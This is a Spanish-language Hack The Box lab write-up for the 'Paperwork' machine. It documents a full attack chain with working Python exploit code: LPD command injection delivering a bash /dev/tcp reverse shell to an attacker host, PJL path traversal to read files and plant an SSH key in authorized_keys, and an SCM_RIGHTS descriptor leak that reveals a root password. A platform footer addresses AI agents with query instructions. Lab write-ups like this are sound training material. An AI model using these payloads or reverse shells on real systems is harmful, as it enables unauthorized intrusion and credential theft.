> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/paperwork.md).

# Paperwork

Dificultad: Easy | OS: Linux

#### 1. Configurar Target

```bash
target-set <IP> paperwork.htb
```

> Crea la estructura de workspace y exporta `TARGET`/`DOMAIN` para el resto de las funciones del sistema.

***

#### 2. Reconocimiento - Nmap

```bash
nmap-quick
# equivalente a: nmap -p- --min-rate 10000 -T4 -oA recon/nmap/quick <IP>

nmap-detail
# equivalente a: nmap -sC -sV -O --script vuln -p <puertos> -oA recon/nmap/detail <IP>
```

**Resultado esperado:**

| Puerto | Servicio          |
| ------ | ----------------- |
| 22     | SSH               |
| 80     | HTTP - nginx 1.28 |

> ⚠️ Los puertos 1515 (LPD) y 9100 (JetDirect/PJL) no están expuestos externamente — se descubren después, ya con shell, vía `ss -tulnp` (escuchan solo en `127.0.0.1`).

***

#### 3. Enumeración Web

```bash
web-enum
# o individualmente:
whatweb-scan
katana-scan
fuzz-dir
```

→ Sitio corporativo con una sección de **Downloads**.

**Descarga manual del recurso:**

```bash
curl -sO http://<IP>/downloads/<archivo>.zip
```

**Resultado:** El zip descargado contiene **otro zip anidado**; al extraerlo aparece el código fuente `server.py` de un servicio **LPD (Line Printer Daemon)** custom (puerto **1515**).

```bash
unzip <archivo>.zip
unzip <archivo_interno>.zip
cat server.py
```

***

#### 4. Análisis de Código - Vulnerabilidades en server.py

**Bypass de cola válida:**

```python
if queue not in VALID_QUEUE:
```

> ⚠️ `VALID_QUEUE` es un string, no una lista. El operador `in` sobre un string hace *substring match*. Una `queue` **vacía** (`""`) siempre es substring de cualquier string → bypass del check sin conocer el valor real.

**Command Injection:**

```python
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
```

> `job_name` viene sin sanitizar de una línea `J<nombre>` del contenido del "trabajo de impresión" enviado por el cliente, y se interpola directo en un comando shell.

***

#### 5. Foothold - LPD Command Injection (Puerto 1515)

**Protocolo (formato control-file estilo RFC1179):**

1. Byte `0x02` + queue vacía + `\n` → bypass del check de cola
2. Header: byte de subcomando + `" <size> <nombre>\n"`
3. Content: control file con línea `J<payload>`

**Payload de inyección:**

```
x'; bash -c 'bash -i >& /dev/tcp/<TU_IP>/<PUERTO> 0>&1' #
```

**Exploit (Python):**

```python
import socket

target_ip, target_port = "<IP>", 1515
lhost, lport = "<TU_IP>", "4444"

payload = f"x'; bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' #"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

s.send(bytes([2]) + b"\n")  # queue vacia

control_file = f"Hlocalhost\nProot\nJ{payload}\n".encode()
size = len(control_file)
header = bytes([2]) + f" {size} cfA001localhost\n".encode()

s.send(header)
s.recv(1024)
s.send(control_file)
s.close()
```

**Listener:**

```bash
nc -lvnp 4444
```

→ Shell como `lp`

***

#### 6. Estabilizar TTY

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

En Kali (Ctrl+Z para background):

```bash
stty raw -echo; fg
```

Luego, Enter x2 y:

```bash
export TERM=xterm
stty rows <N> columns <M>
```

***

#### 7. Enumeración Post-Explotación

```bash
ss -tulnp
ps auxww
```

**Servicios internos relevantes (solo localhost):**

| Puerto | Servicio                              | Usuario     |
| ------ | ------------------------------------- | ----------- |
| 9100   | `jetdirect.py` (JetDirect/PJL custom) | `archivist` |
| 1337   | Flask "Document Archiving Service"    | root        |

**Proceso adicional clave:**

```
/usr/bin/paperwork-daemon    (root, Unix socket /run/paperwork/mgmt.sock)
```

El portal web en 1337 revela la queue válida (`archive_intake`) y un endpoint `/download/archive`, que resulta ser el mismo código del `server.py` ya explotado (sin pistas nuevas).

***

#### 8. Path Traversal - jetdirect.py (Puerto 9100)

Puerto 9100 = protocolo **PJL (Printer Job Language)** real de impresoras HP. El server responde a comandos estándar.

**Confirmar protocolo:**

```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X')
print(s.recv(4096))  # b'HP LASERJET 4ML\r\n'
```

**Lectura arbitraria con FSUPLOAD + traversal:**

```python
s.send(b'\x1b%-12345X@PJL FSUPLOAD NAME="../../../../etc/passwd" OFFSET=0 SIZE=2000\r\n\x1b%-12345X')
```

→ Confirma lectura arbitraria de archivos con privilegios de `archivist`.

**Código fuente de jetdirect.py (leído vía el propio bug):**

```python
def _translate(self, path):
    clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
    return os.path.normpath(os.path.join(self._root, clean))
```

> ⚠️ No filtra `../` → path traversal directo, tanto en lectura (`FSUPLOAD`) como en escritura (`FSDOWNLOAD`).

**Bug adicional en el parser de escritura:**

```python
m = re.search(r'NAME\s*=\s*"([^"]+)"\s*SIZE\s*=\s*(\d+)', command, re.I)
```

> ⚠️ El regex exige que `NAME="..."` aparezca **antes** que `SIZE=...` en el comando. Si se envían en otro orden, el regex no matchea y devuelve `FILEERROR=1` (falso negativo — parecía que la escritura no funcionaba).
>
> Nota: `FSAPPEND` **no existe** en la implementación — cualquier comando no reconocido cae a un `else` que responde `"OK"` sin ejecutar nada.

***

#### 9. Escritura Arbitraria - SSH Key Injection

```bash
ssh-keygen -t ed25519 -f ~/paperwork_key -N ""
```

**Exploit de escritura (orden correcto: NAME antes que SIZE):**

```python
import socket

pubkey = b'<CONTENIDO DE paperwork_key.pub>\n'
size = len(pubkey)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
cmd = f'@PJL FSDOWNLOAD NAME="../../../../home/archivist/.ssh/authorized_keys" SIZE={size}\r\n'.encode()
s.send(b'\x1b%-12345X' + cmd + pubkey + b'\x1b%-12345X')
print(s.recv(4096))
s.close()
```

**Conectar:**

```bash
ssh -i ~/paperwork_key archivist@<IP>
```

→ Shell como `archivist` ✅ (`user.txt` en `/home/archivist/`)

***

#### 10. Privesc - SCM\_RIGHTS File Descriptor Leak

**Código de `/usr/bin/paperwork-daemon` (root, leído previamente vía el mismo bug de traversal):**

```python
def scan_for_malice():
    with open(LOG_PATH, 'r') as f:
        content = f.read().upper()
        if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
            return True
    return False

def trigger_lockdown(conn):
    log_fd = os.open(LOG_PATH, os.O_RDONLY)
    evidence_bundle = array.array("i", [log_fd, admin_fd])
    conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
    ...
```

> ⚠️ El daemon "de seguridad" detecta actividad sospechosa en `commands.log` (los propios comandos PJL que dejamos durante la explotación) y, en lugar de solo alertar, envía por `SCM_RIGHTS` los file descriptors **ya abiertos** de `commands.log` **y de `/etc/paperwork/admin_pins.conf`** al cliente que se conecta al socket. Esto bypassea cualquier permiso de archivo, porque el FD ya fue abierto por el proceso root.

**Socket accesible porque `archivist` es dueño del grupo:**

```bash
ls -la /run/paperwork/
# srw-rw---- root archivist mgmt.sock
```

**Cliente para capturar los FDs filtrados:**

```python
import socket, array, os

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")

fds = array.array("i")
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fds.itemsize))

for cmsg_level, cmsg_type, cmsg_data in ancdata:
    if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
        fds.frombytes(cmsg_data[:len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])

for fd in fds:
    print(os.pread(fd, 4096, 0).decode(errors='ignore'))

s.close()
```

> Como ya se había "ensuciado" el log con los comandos de explotación previos, la conexión dispara automáticamente `trigger_lockdown()`.

**Resultado:**

```
ADMIN_PASSWORD=ApparelMortuaryCedar22
```

***

#### 11. Root

```bash
su root
# Password: ApparelMortuaryCedar22
```

→ Shell como `root` 🎉 → `/root/root.txt`

***

### 📚 Conceptos Clave Aprendidos (Paperwork)

| Concepto                                     | Descripción                                                                                                                                                                        |
| -------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Substring bypass (`in` sobre string)         | `queue not in VALID_QUEUE` — string vacío siempre es substring válido                                                                                                              |
| Command Injection en f-string + `shell=True` | Interpolación sin sanitizar de input de usuario en comando shell                                                                                                                   |
| Protocolo PJL / JetDirect (puerto 9100)      | Servicios de impresión "raw" (AppSocket) suelen exponer comandos de filesystem (`FSUPLOAD`/`FSDOWNLOAD`)                                                                           |
| Path Traversal en filesystem virtual         | `_translate()` sin filtrar `../` → lectura/escritura arbitraria con los privilegios del proceso                                                                                    |
| Bug de regex en parsing de comandos          | Orden de parámetros importa cuando el parser usa regex con grupos posicionales estrictos                                                                                           |
| SCM\_RIGHTS (passing de file descriptors)    | Mecanismo Unix para pasar FDs abiertos entre procesos vía socket — si un proceso privilegiado lo hace mal, filtra acceso a archivos protegidos sin importar permisos de filesystem |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/paperwork.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
